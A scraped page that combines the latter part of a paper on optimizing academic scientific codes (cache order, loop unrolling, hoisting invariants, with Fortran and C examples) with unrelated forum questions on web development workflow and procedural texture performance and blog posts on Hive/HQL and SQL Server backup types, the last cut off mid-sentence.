preserve anonymity]. Improvements on one processor range from 2x to 15.5x with a simple average of 4.75x. I did not use sophisticated performance tools or drill deep into the program's execution character as one would do when tuning ISV or community codes. Using only a profiler and source line timers, I identified inefficient sections of code and improved their performance by inspection. The changes were at a high level. I am sure there is another factor of 2 or 3 in each code, and more if the codes are parallelized. The study’s results show that personal scientific codes are running many times slower than they should and that the problem is pervasive. Computational scientists are not sloppy programmers; however, few are trained in the art of computer programming or code optimization. I found that most have a working knowledge of some programming language and standard software engineering practices; but they do not know, or think about, how to make their programs run faster. They simply do not know the standard techniques used to make codes run faster. In fact, they do not even perceive that such techniques exist. The case studies described in this paper show that applying simple, well known techniques can significantly increase the performance of personal codes. It is important that the scientific community and the Government agencies that support scientific research find ways to better educate academic scientific programmers. The inefficiency of their codes is so bad that it is retarding both the quality and progress of scientific research. # cacheperformance redundantoperations loopstructures performanceimprovement 1 x x 15.5 2 x 2.8 3 x x 2.5 4 x 2.1 5 x x 2.0 6 x 5.0 7 x 5.8 8 x 6.3 9 2.2 10 x x 3.3 Table 1 — Area of improvement and performance gains of 10 codes The remainder of the paper is organized as follows: sections 2, 3, and 4 discuss the three most common sources of inefficiencies in the codes studied. These are cache performance, redundant operations, and loop structures. Each section includes several examples. The last section summaries the work and suggests a possible solution to the issues raised. Optimizing cache performance Commodity microprocessor systems use caches to increase memory bandwidth and reduce memory latencies. Typical latencies from processor to L1, L2, local, and remote memory are 3, 10, 50, and 200 cycles, respectively. Moreover, bandwidth falls off dramatically as memory distances increase. Programs that do not use cache effectively run many times slower than programs that do. When optimizing for cache, the biggest performance gains are achieved by accessing data in cache order and reusing data to amortize the overhead of cache misses. Secondary considerations are prefetching, associativity, and replacement; however, the understanding and analysis required to optimize for the latter are probably beyond the capabilities of the non-expert. Much can be gained simply by accessing data in the correct order and maximizing data reuse. 6 out of the 10 codes studied here benefited from such high level optimizations. Array Accesses The most important cache optimization is the most basic: accessing Fortran array elements in column order and C array elements in row order. Four of the ten codes—1, 2, 4, and 10—got it wrong. Compilers will restructure nested loops to optimize cache performance, but may not do so if the loop structure is too complex, or the loop body includes conditionals, complex addressing, or function calls. In code 1, the compiler failed to invert a key loop because of complex addressing do I = 0, 1010, delta_x IM = I - delta_x IP = I + delta_x do J = 5, 995, delta_x JM = J - delta_x JP = J + delta_x T1 = CA1(IP, J) + CA1(I, JP) T2 = CA1(IM, J) + CA1(I, JM) S1 = T1 + T2 - 4 * CA1(I, J) CA(I, J) = CA1(I, J) + D * S1 end do end do In code 2, the culprit is conditionals do I = 1, N do J = 1, N If (IFLAG(I,J) .EQ. 0) then T1 = Value(I, J-1) T2 = Value(I-1, J) T3 = Value(I, J) T4 = Value(I+1, J) T5 = Value(I, J+1) Value(I,J) = 0.25 * (T1 + T2 + T5 + T4) Delta = ABS(T3 - Value(I,J)) If (Delta .GT. MaxDelta) MaxDelta = Delta endif enddo enddo I fixed both programs by inverting the loops by hand. Code 10 has three-dimensional arrays and triply nested loops. The structure of the most computationally intensive loops is too complex to invert automatically or by hand. The only practical solution is to transpose the arrays so that the dimension accessed by the innermost loop is in cache order. The arrays can be transposed at construction or prior to entering a computationally intensive section of code. The former requires all array references to be modified, while the latter is cost effective only if the cost of the transpose is amortized over many accesses. I used the second approach to optimize code 10. Code 5 has four-dimensional arrays and loops are nested four deep. For all of the reasons cited above the compiler is not able to restructure three key loops. Assume C arrays and let the four dimensions of the arrays be i, j, k, and l. In the original code, the index structure of the three loops is L1: for i L2: for i L3: for i for l for l for j for k for j for k for j for k for l So only L3 accesses array elements in cache order. L1 is a very complex loop—much too complex to invert. I brought the loop into cache alignment by transposing the second and fourth dimensions of the arrays. Since the code uses a macro to compute all array indexes, I effected the transpose at construction and changed the macro appropriately. The dimensions of the new arrays are now: i, l, k, and j. L3 is a simple loop and easily inverted. L2 has a loop-carried scalar dependence in k. By promoting the scalar name that carries the dependence to an array, I was able to invert the third and fourth subloops aligning the loop with cache. Code 5 is by far the most difficult of the four codes to optimize for array accesses; but the knowledge required to fix the problems is no more than that required for the other codes. I would judge this code at the limits of, but not beyond, the capabilities of appropriately trained computational scientists. Array Strides When a cache miss occurs, a line (64 bytes) rather than just one word is loaded into the cache. If data is accessed stride 1, than the cost of the miss is amortized over 8 words. Any stride other than one reduces the cost savings. Two of the ten codes studied suffered from non-unit strides. The codes represent two important classes of "strided" codes. Code 1 employs a multi-grid algorithm to reduce time to convergence. The grids are every tenth, fifth, second, and unit element. Since time to convergence is inversely proportional to the distance between elements, coarse grids converge quickly providing good starting values for finer grids. The better starting values further reduce the time to convergence. The downside is that grids of every nth element, n > 1, introduce non-unit strides into the computation. In the original code, much of the savings of the multi-grid algorithm were lost due to this problem. I eliminated the problem by compressing (copying) coarse grids into continuous memory, and rewriting the computation as a function of the compressed grid. On convergence, I copied the final values of the compressed grid back to the original grid. The savings gained from unit stride access of the compressed grid more than paid for the cost of copying. Using compressed grids, the loop from code 1 included in the previous section becomes do j = 1, GZ do i = 1, GZ T1 = CA(i+0, j-1) + CA(i-1, j+0) T4 = CA1(i+1, j+0) + CA1(i+0, j+1) S1 = T1 + T4 - 4 * CA1(i+0, j+0) CA(i+0, j+0) = CA1(i+0, j+0) + DD * S1 enddo enddo where CA and CA1 are compressed arrays of size GZ. Code 7 traverses a list of objects selecting objects for later processing. The labels of the selected objects are stored in an array. The selection step has unit stride, but the processing steps have irregular stride. A fix is to save the parameters of the selected objects in temporary arrays as they are selected, and pass the temporary arrays to the processing functions. The fix is practical if the same parameters are used in selection as in processing, or if processing comprises a series of distinct steps which use overlapping subsets of the parameters. Both conditions are true for code 7, so I achieved significant improvement by copying parameters to temporary arrays during selection. Data reuse In the previous sections, we optimized for spatial locality. It is also important to optimize for temporal locality. Once read, a datum should be used as much as possible before it is forced from cache. Loop fusion and loop unrolling are two techniques that increase temporal locality. Unfortunately, both techniques increase register pressure—as loop bodies become larger, the number of registers required to hold temporary values grows. Once register spilling occurs, any gains evaporate quickly. For multiprocessors with small register sets or small caches, the sweet spot can be very small. In the ten codes presented here, I found no opportunities for loop fusion and only two opportunities for loop unrolling (codes 1 and 3). In code 1, unrolling the outer and inner loop one iteration increases the number of result values computed by the loop body from 1 to 4, do J = 1, GZ-2, 2 do I = 1, GZ-2, 2 T1 = CA1(i+0, j-1) + CA1(i-1, j+0) T2 = CA1(i+1, j-1) + CA1(i+0, j+0) T3 = CA1(i+0, j+0) + CA1(i-1, j+1) T4 = CA1(i+1, j+0) + CA1(i+0, j+1) T5 = CA1(i+2, j+0) + CA1(i+1, j+1) T6 = CA1(i+1, j+1) + CA1(i+0, j+2) T7 = CA1(i+2, j+1) + CA1(i+1, j+2) S1 = T1 + T4 - 4 * CA1(i+0, j+0) S2 = T2 + T5 - 4 * CA1(i+1, j+0) S3 = T3 + T6 - 4 * CA1(i+0, j+1) S4 = T4 + T7 - 4 * CA1(i+1, j+1) CA(i+0, j+0) = CA1(i+0, j+0) + DD * S1 CA(i+1, j+0) = CA1(i+1, j+0) + DD * S2 CA(i+0, j+1) = CA1(i+0, j+1) + DD * S3 CA(i+1, j+1) = CA1(i+1, j+1) + DD * S4 enddo enddo The loop body executes 12 reads, whereas as the rolled loop shown in the previous section executes 20 reads to compute the same four values. In code 3, two loops are unrolled 8 times and one loop is unrolled 4 times. Here is the before for (k = 0; k < NK[u]; k++) { sum = 0.0; for (y = 0; y < NY; y++) { sum += W[y][u][k] * delta[y]; } backprop[i++]=sum; } and after code for (k = 0; k < KK - 8; k+=8) { sum0 = 0.0; sum1 = 0.0; sum2 = 0.0; sum3 = 0.0; sum4 = 0.0; sum5 = 0.0; sum6 = 0.0; sum7 = 0.0; for (y = 0; y < NY; y++) { sum0 += W[y][0][k+0] * delta[y]; sum1 += W[y][0][k+1] * delta[y]; sum2 += W[y][0][k+2] * delta[y]; sum3 += W[y][0][k+3] * delta[y]; sum4 += W[y][0][k+4] * delta[y]; sum5 += W[y][0][k+5] * delta[y]; sum6 += W[y][0][k+6] * delta[y]; sum7 += W[y][0][k+7] * delta[y]; } backprop[k+0] = sum0; backprop[k+1] = sum1; backprop[k+2] = sum2; backprop[k+3] = sum3; backprop[k+4] = sum4; backprop[k+5] = sum5; backprop[k+6] = sum6; backprop[k+7] = sum7; } for one of the loops unrolled 8 times. Optimizing for temporal locality is the most difficult optimization considered in this paper. The concepts are not difficult, but the sweet spot is small. Identifying where the program can benefit from loop unrolling or loop fusion is not trivial. Moreover, it takes some effort to get it right. Still, educating scientific programmers about temporal locality and teaching them how to optimize for it will pay dividends. Reducing instruction count Execution time is a function of instruction count. Reduce the count and you usually reduce the time. The best solution is to use a more efficient algorithm; that is, an algorithm whose order of complexity is smaller, that converges quicker, or is more accurate. Optimizing source code without changing the algorithm yields smaller, but still significant, gains. This paper considers only the latter because the intent is to study how much better codes can run if written by programmers schooled in basic code optimization techniques. The ten codes studied benefited from three types of "instruction reducing" optimizations. The two most prevalent were hoisting invariant memory and data operations out of inner loops. The third was eliminating unnecessary data copying. The nature of these inefficiencies is language dependent. Memory operations The semantics of C make it difficult for the compiler to determine all the invariant memory operations in a loop. The problem is particularly acute for loops in functions since the compiler may not know the values of the function's parameters at every call site when compiling the function. Most compilers support pragmas to help resolve ambiguities; however, these pragmas are not comprehensive and there is no standard syntax. To guarantee that invariant memory operations are not executed repetitively, the user has little choice but to hoist the operations by hand. The problem is not as severe in Fortran programs because in the absence of equivalence statements, it is a violation of the language's semantics for two names to share memory. Codes 3 and 5 are C programs. In both cases, the compiler did not hoist all invariant memory operations from inner loops. Consider the following loop from code 3 for (y = 0; y < NY; y++) { i = 0; for (u = 0; u < NU; u++) { for (k = 0; k < NK[u]; k++) { dW[y][u][k] += delta[y] * I1[i++]; } } } Since dW[y][u] can point to the same memory space as delta for one or more values of y and u, assignment to dW[y][u][k] may change the value of delta[y]. In reality, dW and delta do not overlap in memory, so I rewrote the loop as for (y = 0; y < NY; y++) { i = 0; Dy = delta[y]; for (u = 0; u < NU; u++) { for (k = 0; k < NK[u]; k++) { dW[y][u][k] += Dy * I1[i++]; } } } Failure to hoist invariant memory operations may be due to complex address calculations. If the compiler can not determine that the address calculation is invariant, then it can hoist neither the calculation nor the associated memory operations. As noted above, code 5 uses a macro to address four-dimensional arrays #define MAT4D(a,q,i,j,k) (double *)((a)->data + (q)*(a)->strides[0] + (i)*(a)->strides[3] + (j)*(a)->strides[2] + (k)*(a)->strides[1]) The macro is too complex for the compiler to understand and so, it does not identify any subexpressions as loop invariant. The simplest way to eliminate the address calculation from the innermost loop (over i) is to define a0 = MAT4D(a,q,0,j,k) before the loop and then replace all instances of *MAT4D(a,q,i,j,k) in the loop with a0[i] A similar problem appears in code 6, a Fortran program. The key loop in this program is do n1 = 1, nh nx1 = (n1 - 1) / nz + 1 nz1 = n1 - nz * (nx1 - 1) do n2 = 1, nh nx2 = (n2 - 1) / nz + 1 nz2 = n2 - nz * (nx2 - 1) ndx = nx2 - nx1 ndy = nz2 - nz1 gxx = grn(1,ndx,ndy) gyy = grn(2,ndx,ndy) gxy = grn(3,ndx,ndy) balance(n1,1) = balance(n1,1) + (force(n2,1) * gxx + force(n2,2) * gxy) * h1 balance(n1,2) = balance(n1,2) + (force(n2,1) * gxy + force(n2,2) * gyy)*h1 end do end do The programmer has written this loop well—there are no loop invariant operations with respect to n1 and n2. However, the loop resides within an iterative loop over time and the index calculations are independent with respect to time. Trading space for time, I precomputed the index values prior to the entering the time loop and stored the values in two arrays. I then replaced the index calculations with reads of the arrays. Data operations Ways to reduce data operations can appear in many forms. Implementing a more efficient algorithm produces the biggest gains. The closest I came to an algorithm change was in code 4. This code computes the inner product of K-vectors A(i) and B(j), 0 = i < N, 0 = j < M, for most values of i and j. Since the program computes most of the NM possible inner products, it is more efficient to compute all the inner products in one triply-nested loop rather than one at a time when needed. The savings accrue from reading A(i) once for all B(j) vectors and from loop unrolling. for (i = 0; i < N; i+=8) { for (j = 0; j < M; j++) { sum0 = 0.0; sum1 = 0.0; sum2 = 0.0; sum3 = 0.0; sum4 = 0.0; sum5 = 0.0; sum6 = 0.0; sum7 = 0.0; for (k = 0; k < K; k++) { sum0 += A[i+0][k] * B[j][k]; sum1 += A[i+1][k] * B[j][k]; sum2 += A[i+2][k] * B[j][k]; sum3 += A[i+3][k] * B[j][k]; sum4 += A[i+4][k] * B[j][k]; sum5 += A[i+5][k] * B[j][k]; sum6 += A[i+6][k] * B[j][k]; sum7 += A[i+7][k] * B[j][k]; } C[i+0][j] = sum0; C[i+1][j] = sum1; C[i+2][j] = sum2; C[i+3][j] = sum3; C[i+4][j] = sum4; C[i+5][j] = sum5; C[i+6][j] = sum6; C[i+7][j] = sum7; }} This change requires knowledge of a typical run; i.e., that most inner products are computed. The reasons for the change, however, derive from basic optimization concepts. It is the type of change easily made at development time by a knowledgeable programmer. In code 5, we have the data version of the index optimization in code 6. Here a very expensive computation is a function of the loop indices and so cannot be hoisted out of the loop; however, the computation is invariant with respect to an outer iterative loop over time. We can compute its value for each iteration of the computation loop prior to entering the time loop and save the values in an array. The increase in memory required to store the values is small in comparison to the large savings in time. The main loop in Code 8 is doubly nested. The inner loop includes a series of guarded computations; some are a function of the inner loop index but not the outer loop index while others are a function of the outer loop index but not the inner loop index for (j = 0; j < N; j++) { for (i = 0; i < M; i++) { r = i * hrmax; R = A[j]; temp = (PRM[3] == 0.0) ? 1.0 : pow(r, PRM[3]); high = temp * kcoeff * B[j] * PRM[2] * PRM[4]; low = high * PRM[6] * PRM[6] / (1.0 + pow(PRM[4] * PRM[6], 2.0)); kap = (R > PRM[6]) ? high * R * R / (1.0 + pow(PRM[4]*r, 2.0) : low * pow(R/PRM[6], PRM[5]); < rest of loop omitted > }} Note that the value of temp is invariant to j. Thus, we can hoist the computation for temp out of the loop and save its values in an array. for (i = 0; i < M; i++) { r = i * hrmax; TEMP[i] = pow(r, PRM[3]); } [N.B. – the case for PRM[3] = 0 is omitted and will be reintroduced later.] We now hoist out of the inner loop the computations invariant to i. Since the conditional guarding the value of kap is invariant to i, it behooves us to hoist the computation out of the inner loop, thereby executing the guard once rather than M times. The final version of the code is for (j = 0; j < N; j++) { R = rig[j] / 1000.; tmp1 = kcoeff * par[2] * beta[j] * par[4]; tmp2 = 1.0 + (par[4] * par[4] * par[6] * par[6]); tmp3 = 1.0 + (par[4] * par[4] * R * R); tmp4 = par[6] * par[6] / tmp2; tmp5 = R * R / tmp3; tmp6 = pow(R / par[6], par[5]); if ((par[3] == 0.0) && (R > par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * tmp5; } else if ((par[3] == 0.0) && (R <= par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * tmp4 * tmp6; } else if ((par[3] != 0.0) && (R > par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * TEMP[i] * tmp5; } else if ((par[3] != 0.0) && (R <= par[6])) { for (i = 1; i <= imax1; i++) KAP[i] = tmp1 * TEMP[i] * tmp4 * tmp6; } for (i = 0; i < M; i++) { kap = KAP[i]; r = i * hrmax; < rest of loop omitted > } } Maybe not the prettiest piece of code, but certainly much more efficient than the original loop, Copy operations Several programs unnecessarily copy data from one data structure to another. This problem occurs in both Fortran and C programs, although it manifests itself differently in the two languages. Code 1 declares two arrays—one for old values and one for new values. At the end of each iteration, the array of new values is copied to the array of old values to reset the data structures for the next iteration. This problem occurs in Fortran programs not included in this study and in both Fortran 77 and Fortran 90 code. Introducing pointers to the arrays and swapping pointer values is an obvious way to eliminate the copying; but pointers is not a feature that many Fortran programmers know well or are comfortable using. An easy solution not involving pointers is to extend the dimension of the value array by 1 and use the last dimension to differentiate between arrays at different times. For example, if the data space is N x N, declare the array (N, N, 2). Then store the problem’s initial values in (_, _, 2) and define the scalar names new = 2 and old = 1. At the start of each iteration, swap old and new to reset the arrays. The old–new copy problem did not appear in any C program. In programs that had new and old values, the code swapped pointers to reset data structures. Where unnecessary coping did occur is in structure assignment and parameter passing. Structures in C are handled much like scalars. Assignment causes the data space of the right-hand name to be copied to the data space of the left-hand name. Similarly, when a structure is passed to a function, the data space of the actual parameter is copied to the data space of the formal parameter. If the structure is large and the assignment or function call is in an inner loop, then copying costs can grow quite large. While none of the ten programs considered here manifested this problem, it did occur in programs not included in the study. A simple fix is always to refer to structures via pointers. Optimizing loop structures Since scientific programs spend almost all their time in loops, efficient loops are the key to good performance. Conditionals, function calls, little instruction level parallelism, and large numbers of temporary values make it difficult for the compiler to generate tightly packed, highly efficient code. Conditionals and function calls introduce jumps that disrupt code flow. Users should eliminate or isolate conditionls to their own loops as much as possible. Often logical expressions can be substituted for if-then-else statements. For example, code 2 includes the following snippet MaxDelta = 0.0 do J = 1, N do I = 1, M < code omitted > Delta = abs(OldValue ? NewValue) if (Delta > MaxDelta) MaxDelta = Delta enddo enddo if (MaxDelta .gt. 0.001) goto 200 Since the only use of MaxDelta is to control the jump to 200 and all that matters is whether or not it is greater than 0.001, I made MaxDelta a boolean and rewrote the snippet as MaxDelta = .false. do J = 1, N do I = 1, M < code omitted > Delta = abs(OldValue ? NewValue) MaxDelta = MaxDelta .or. (Delta .gt. 0.001) enddo enddo if (MaxDelta) goto 200 thereby, eliminating the conditional expression from the inner loop. A microprocessor can execute many instructions per instruction cycle. Typically, it can execute one or more memory, floating point, integer, and jump operations. To be executed simultaneously, the operations must be independent. Thick loops tend to have more instruction level parallelism than thin loops. Moreover, they reduce memory traffice by maximizing data reuse. Loop unrolling and loop fusion are two techniques to increase the size of loop bodies. Several of the codes studied benefitted from loop unrolling, but none benefitted from loop fusion. This observation is not too surpising since it is the general tendency of programmers to write thick loops. As loops become thicker, the number of temporary values grows, increasing register pressure. If registers spill, then memory traffic increases and code flow is disrupted. A thick loop with many temporary values may execute slower than an equivalent series of thin loops. The biggest gain will be achieved if the thick loop can be split into a series of independent loops eliminating the need to write and read temporary arrays. I found such an occasion in code 10 where I split the loop do i = 1, n do j = 1, m A24(j,i)= S24(j,i) * T24(j,i) + S25(j,i) * U25(j,i) B24(j,i)= S24(j,i) * T25(j,i) + S25(j,i) * U24(j,i) A25(j,i)= S24(j,i) * C24(j,i) + S25(j,i) * V24(j,i) B25(j,i)= S24(j,i) * U25(j,i) + S25(j,i) * V25(j,i) C24(j,i)= S26(j,i) * T26(j,i) + S27(j,i) * U26(j,i) D24(j,i)= S26(j,i) * T27(j,i) + S27(j,i) * V26(j,i) C25(j,i)= S27(j,i) * S28(j,i) + S26(j,i) * U28(j,i) D25(j,i)= S27(j,i) * T28(j,i) + S26(j,i) * V28(j,i) end do end do into two disjoint loops do i = 1, n do j = 1, m A24(j,i)= S24(j,i) * T24(j,i) + S25(j,i) * U25(j,i) B24(j,i)= S24(j,i) * T25(j,i) + S25(j,i) * U24(j,i) A25(j,i)= S24(j,i) * C24(j,i) + S25(j,i) * V24(j,i) B25(j,i)= S24(j,i) * U25(j,i) + S25(j,i) * V25(j,i) end do end do do i = 1, n do j = 1, m C24(j,i)= S26(j,i) * T26(j,i) + S27(j,i) * U26(j,i) D24(j,i)= S26(j,i) * T27(j,i) + S27(j,i) * V26(j,i) C25(j,i)= S27(j,i) * S28(j,i) + S26(j,i) * U28(j,i) D25(j,i)= S27(j,i) * T28(j,i) + S26(j,i) * V28(j,i) end do end do Conclusions Over the course of the last year, I have had the opportunity to work with over two dozen academic scientific programmers at leading research universities. Their research interests span a broad range of scientific fields. Except for two programs that relied almost exclusively on library routines (matrix multiply and fast Fourier transform), I was able to improve significantly the single processor performance of all codes. Improvements range from 2x to 15.5x with a simple average of 4.75x. Changes to the source code were at a very high level. I did not use sophisticated techniques or programming tools to discover inefficiencies or effect the changes. Only one code was parallel despite the availability of parallel systems to all developers. Clearly, we have a problem—personal scientific research codes are highly inefficient and not running parallel. The developers are unaware of simple optimization techniques to make programs run faster. They lack education in the art of code optimization and parallel programming. I do not believe we can fix the problem by publishing additional books or training manuals. To date, the developers in questions have not studied the books or manual available, and are unlikely to do so in the future. Short courses are a possible solution, but I believe they are too concentrated to be much use. The general concepts can be taught in a three or four day course, but that is not enough time for students to practice what they learn and acquire the experience to apply and extend the concepts to their codes. Practice is the key to becoming proficient at optimization. I recommend that graduate students be required to take a semester length course in optimization and parallel programming. We would never give someone access to state-of-the-art scientific equipment costing hundreds of thousands of dollars without first requiring them to demonstrate that they know how to use the equipment. Yet the criterion for time on state-of-the-art supercomputers is at most an interesting project. Requestors are never asked to demonstrate that they know how to use the system, or can use the system effectively. A semester course would teach them the required skills. Government agencies that fund academic scientific research pay for most of the computer systems supporting scientific research as well as the development of most personal scientific codes. These agencies should require graduate schools to offer a course in optimization and parallel programming as a requirement for funding. About the Author John Feo received his Ph.D. in Computer Science from The University of Texas at Austin in 1986. After graduate school, Dr. Feo worked at Lawrence Livermore National Laboratory where he was the Group Leader of the Computer Research Group and principal investigator of the Sisal Language Project. In 1997, Dr. Feo joined Tera Computer Company where he was project manager for the MTA, and oversaw the programming and evaluation of the MTA at the San Diego Supercomputer Center. In 2000, Dr. Feo joined Sun Microsystems as an HPC application specialist. He works with university research groups to optimize and parallelize scientific codes. Dr. Feo has published over two dozen research articles in the areas of parallel parallel programming, parallel programming languages, and application performance.

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  • How to convert from amateur web app developer to professional web apper?

    - by Nilesh
    This is more of a practical question on web app development and deployment process. Here is some background information. I use PHP for server side scripting, javascript for client side. I use Netbeans and notepad++. I user Firefox and firebug for debugging and testing. The process I use is very amateurish, I code something in netbeans, something in notepad++ and since there is nothing to compile, I just refresh the firefox browser and test it. This is convenient and faster compared to the Java development enviornment where you would have to atleast compile and deploy the jar files before you could run them. I have been thinking of putting a formal process in my development and find it hard putting it together. There are so many things to do before you can deploy your final web app. I keep hearing jslint, compression, unit testing (selenium), Ant, YUI compressor etc but I am now looking for some steps that I can take to make me more organized. For e.g I use netbeans but don't use any projects within it. I directly update the files. I don't use any source control but use my Iomega backup that saves each save into a different version and at the end of the day I backup the dev directory to my Amazon s3 account. For me development environment is just a DEV directory, TEST is my intermediate stage and PROD is the final directory that gets pushed out to the server. But all these directories are in the same apache home. I have few php scripts that just copies the needed files into the production directory. Thats about it for my development approach. I know I am missing the following - Regression testing (manual or automated ??) - automated testing (selenium ??) - automated deployment (ANT ??) - source control (svn ??) - quality control (jslint ??) Can someone explain what are the missing steps and how to go about filling those steps in order to have more professional approach. I am looking for tools with example tutorials in streamlining the whole development to deployment stage. For me just getting a hang of database, server side and client side development all in synchronization was itself a huge accomplishment. And now I feel there is lot missing before you can produce quality web application. For e.g I see lot of mention about using automated testing but how to put in use with respect to javascript and php. How to use ANT for the deployment etc. Is this all too much for a single or two person development team? Is there a way to automate all the above so that I just keep coding in netbeans and then run a batch file that is configured once and run it everytime to produce the code in the production directory? Lot of these information is scattered on the web and here, if someone can guide I would be happy to consolidate here. Thank you for your patience :)

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  • Speeding up procedural texture generation

    - by FalconNL
    Recently I've begun working on a game that takes place in a procedurally generated solar system. After a bit of a learning curve (having neither worked with Scala, OpenGL 2 ES or Libgdx before), I have a basic tech demo going where you spin around a single procedurally textured planet: The problem I'm running into is the performance of the texture generation. A quick overview of what I'm doing: a planet is a cube that has been deformed to a sphere. To each side, a n x n (e.g. 256 x 256) texture is applied, which are bundled in one 8n x n texture that is sent to the fragment shader. The last two spaces are not used, they're only there to make sure the width is a power of 2. The texture is currently generated on the CPU, using the updated 2012 version of the simplex noise algorithm linked to in the paper 'Simplex noise demystified'. The scene I'm using to test the algorithm contains two spheres: the planet and the background. Both use a greyscale texture consisting of six octaves of 3D simplex noise, so for example if we choose 128x128 as the texture size there are 128 x 128 x 6 x 2 x 6 = about 1.2 million calls to the noise function. The closest you will get to the planet is about what's shown in the screenshot and since the game's target resolution is 1280x720 that means I'd prefer to use 512x512 textures. Combine that with the fact the actual textures will of course be more complicated than basic noise (There will be a day and night texture, blended in the fragment shader based on sunlight, and a specular mask. I need noise for continents, terrain color variation, clouds, city lights, etc.) and we're looking at something like 512 x 512 x 6 x 3 x 15 = 70 million noise calls for the planet alone. In the final game, there will be activities when traveling between planets, so a wait of 5 or 10 seconds, possibly 20, would be acceptable since I can calculate the texture in the background while traveling, though obviously the faster the better. Getting back to our test scene, performance on my PC isn't too terrible, though still too slow considering the final result is going to be about 60 times worse: 128x128 : 0.1s 256x256 : 0.4s 512x512 : 1.7s This is after I moved all performance-critical code to Java, since trying to do so in Scala was a lot worse. Running this on my phone (a Samsung Galaxy S3), however, produces a more problematic result: 128x128 : 2s 256x256 : 7s 512x512 : 29s Already far too long, and that's not even factoring in the fact that it'll be minutes instead of seconds in the final version. Clearly something needs to be done. Personally, I see a few potential avenues, though I'm not particularly keen on any of them yet: Don't precalculate the textures, but let the fragment shader calculate everything. Probably not feasible, because at one point I had the background as a fullscreen quad with a pixel shader and I got about 1 fps on my phone. Use the GPU to render the texture once, store it and use the stored texture from then on. Upside: might be faster than doing it on the CPU since the GPU is supposed to be faster at floating point calculations. Downside: effects that cannot (easily) be expressed as functions of simplex noise (e.g. gas planet vortices, moon craters, etc.) are a lot more difficult to code in GLSL than in Scala/Java. Calculate a large amount of noise textures and ship them with the application. I'd like to avoid this if at all possible. Lower the resolution. Buys me a 4x performance gain, which isn't really enough plus I lose a lot of quality. Find a faster noise algorithm. If anyone has one I'm all ears, but simplex is already supposed to be faster than perlin. Adopt a pixel art style, allowing for lower resolution textures and fewer noise octaves. While I originally envisioned the game in this style, I've come to prefer the realistic approach. I'm doing something wrong and the performance should already be one or two orders of magnitude better. If this is the case, please let me know. If anyone has any suggestions, tips, workarounds, or other comments regarding this problem I'd love to hear them.

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  • Big Data – Data Mining with Hive – What is Hive? – What is HiveQL (HQL)? – Day 15 of 21

    - by Pinal Dave
    In yesterday’s blog post we learned the importance of the operational database in Big Data Story. In this article we will understand what is Hive and HQL in Big Data Story. Yahoo started working on PIG (we will understand that in the next blog post) for their application deployment on Hadoop. The goal of Yahoo to manage their unstructured data. Similarly Facebook started deploying their warehouse solutions on Hadoop which has resulted in HIVE. The reason for going with HIVE is because the traditional warehousing solutions are getting very expensive. What is HIVE? Hive is a datawarehouseing infrastructure for Hadoop. The primary responsibility is to provide data summarization, query and analysis. It  supports analysis of large datasets stored in Hadoop’s HDFS as well as on the Amazon S3 filesystem. The best part of HIVE is that it supports SQL-Like access to structured data which is known as HiveQL (or HQL) as well as big data analysis with the help of MapReduce. Hive is not built to get a quick response to queries but it it is built for data mining applications. Data mining applications can take from several minutes to several hours to analysis the data and HIVE is primarily used there. HIVE Organization The data are organized in three different formats in HIVE. Tables: They are very similar to RDBMS tables and contains rows and tables. Hive is just layered over the Hadoop File System (HDFS), hence tables are directly mapped to directories of the filesystems. It also supports tables stored in other native file systems. Partitions: Hive tables can have more than one partition. They are mapped to subdirectories and file systems as well. Buckets: In Hive data may be divided into buckets. Buckets are stored as files in partition in the underlying file system. Hive also has metastore which stores all the metadata. It is a relational database containing various information related to Hive Schema (column types, owners, key-value data, statistics etc.). We can use MySQL database over here. What is HiveSQL (HQL)? Hive query language provides the basic SQL like operations. Here are few of the tasks which HQL can do easily. Create and manage tables and partitions Support various Relational, Arithmetic and Logical Operators Evaluate functions Download the contents of a table to a local directory or result of queries to HDFS directory Here is the example of the HQL Query: SELECT upper(name), salesprice FROM sales; SELECT category, count(1) FROM products GROUP BY category; When you look at the above query, you can see they are very similar to SQL like queries. Tomorrow In tomorrow’s blog post we will discuss about very important components of the Big Data Ecosystem – Pig. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Big Data, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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  • SQL SERVER – Select the Most Optimal Backup Methods for Server

    - by pinaldave
    Backup and Restore are very interesting concepts and one should be very much with the concept if you are dealing with production database. One never knows when a natural disaster or user error will surface and the first thing everybody wants is to get back on point in time when things were all fine. Well, in this article I have attempted to answer a few of the common questions related to Backup methodology. How to Select a SQL Server Backup Type In order to select a proper SQL Server backup type, a SQL Server administrator needs to understand the difference between the major backup types clearly. Since a picture is worth a thousand words, let me offer it to you below. Select a Recovery Model First The very first question that you should ask yourself is: Can I afford to lose at least a little (15 min, 1 hour, 1 day) worth of data? Resist the temptation to save it all as it comes with the overhead – majority of businesses outside finances can actually afford to lose a bit of data. If your answer is YES, I can afford to lose some data – select a SIMPLE (default) recovery model in the properties of your database, otherwise you need to select a FULL recovery model. The additional advantage of the Full recovery model is that it allows you to restore the data to a specific point in time vs to only last backup time in the Simple recovery model, but it exceeds the scope of this article Backups in SIMPLE Recovery Model In SIMPLE recovery model you can select to do just Full backups or Full + Differential. Full Backup This is the simplest type of backup that contains all information needed to restore the database and should be your first choice. It is often sufficient for small databases, but note that it makes a big impact on the performance of your database Full + Differential Backup After Full, Differential backup picks up all of the changes since the last Full backup. This means if you made Full, Diff, Diff backup – the last Diff backup contains all of the changes and you don’t need the previous Differential backup. Differential backup is obviously smaller and carries less performance overhead Backups in FULL Recovery Model In FULL recovery model you can select Full + Transaction Log or Full + Differential + Transaction Log backup. You have to create Transaction Log backup, because at that time the log is being truncated. Otherwise your Transaction Log will grow uncontrollably. Full + Transaction Log Backup You would always need to perform a Full backup first. Then a series of Transaction log backup. Note that (in contrast to Differential) you need ALL transactions to log since the last Full of Diff backup to properly restore. Transaction log backups have the smallest performance overhead and can be performed often. Full + Differential + Transaction Log Backup If you want to ease the performance overhead on your server, you can replace some of the Full backup in the previous scenario with Differential. You restore scenario would start from Full, then the Last Differential, then all of the remaining transactions log backups Typical backup Scenarios You may say “Well, it is all nice – give me the examples now”. As you may already know, my favorite SQL backup software is SQLBackupAndFTP. If you go to Advanced Backup Schedule form in this program and click “Load a typical backup plan…” link, it will give you these scenarios that I think are quite common – see the image below. The Simplest Way to Schedule SQL Backups I hate to repeat myself, but backup scheduling in 